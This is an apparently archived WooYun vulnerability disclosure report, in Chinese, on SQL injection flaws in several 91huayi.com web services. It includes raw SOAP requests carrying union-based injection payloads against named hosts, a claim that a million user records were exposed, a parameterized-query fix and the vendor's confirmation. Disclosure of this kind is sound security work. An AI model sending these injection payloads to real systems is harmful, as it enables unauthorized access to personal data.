当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149623

漏洞标题:华医网多个子站sql注入漏洞打包

相关厂商:91huayi.com

漏洞作者: 1c3z

提交时间:2015-10-27 22:18

修复时间:2015-12-13 17:40

公开时间:2015-12-13 17:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-29: 厂商已经确认,细节仅向厂商公开
2015-11-08: 细节向核心白帽子及相关领域专家公开
2015-11-18: 细节向普通白帽子公开
2015-11-28: 细节向实习白帽子公开
2015-12-13: 细节向公众公开

简要描述:

可以进行报错注入

详细说明:

0x01

POST /cardService.asmx HTTP/1.1
Host: iccardwebservice.kjpt.91huayi.com
Content-Type: text/xml; charset=utf-8
Content-Length: 439
SOAPAction: "http://tempuri.org/GetByUnit"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetByUnit xmlns="http://tempuri.org/">
<KindID></KindID>
<UnitName>a*</UnitName>
<IsLogOut>false</IsLogOut>
<UnitIDs>2</UnitIDs>
</GetByUnit>
</soap:Body>
</soap:Envelope>


unitname存在注入

选区_021.png


选区_020.png


百万用户数据

选区_019.png


0x02

http://webservice.mbox.91huayi.com/service.asmx?op=GetDownloadCounts


选区_016.png


0x03

http://webservice.mbox.91huayi.com/service.asmx?op=GetDownload_counts


选区_017.png


0x04

POST /cardService.asmx HTTP/1.1
Host: iccardwebservice.kjpt.91huayi.com
Content-Type: text/xml; charset=utf-8
Content-Length: 444
SOAPAction: "http://tempuri.org/GetByUnitDetail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetByUnitDetail xmlns="http://tempuri.org/">
<unitName>' union all select 1,2,3,4,5,6,7,db_name()--</unitName>
<isCreateCard>1</isCreateCard>
</GetByUnitDetail>
</soap:Body>
</soap:Envelope>


0x05

POST /cardService.asmx HTTP/1.1
Host: iccardwebservice.kjpt.91huayi.com
Content-Type: text/xml; charset=utf-8
Content-Length: 409
SOAPAction: "http://tempuri.org/GetOrderListBySId"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetOrderListBySId xmlns="http://tempuri.org/">
<standardId>a' union all select NULL,db_name() --</standardId>
</GetOrderListBySId>
</soap:Body>
</soap:Envelope>


漏洞证明:

sqlmap跑下:

选区_025.png


选区_028.png

修复方案:

参数化查询

版权声明:转载请注明来源 1c3z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-29 17:39

厂商回复:

谢谢!已提交业务部门处理。

最新状态:

暂无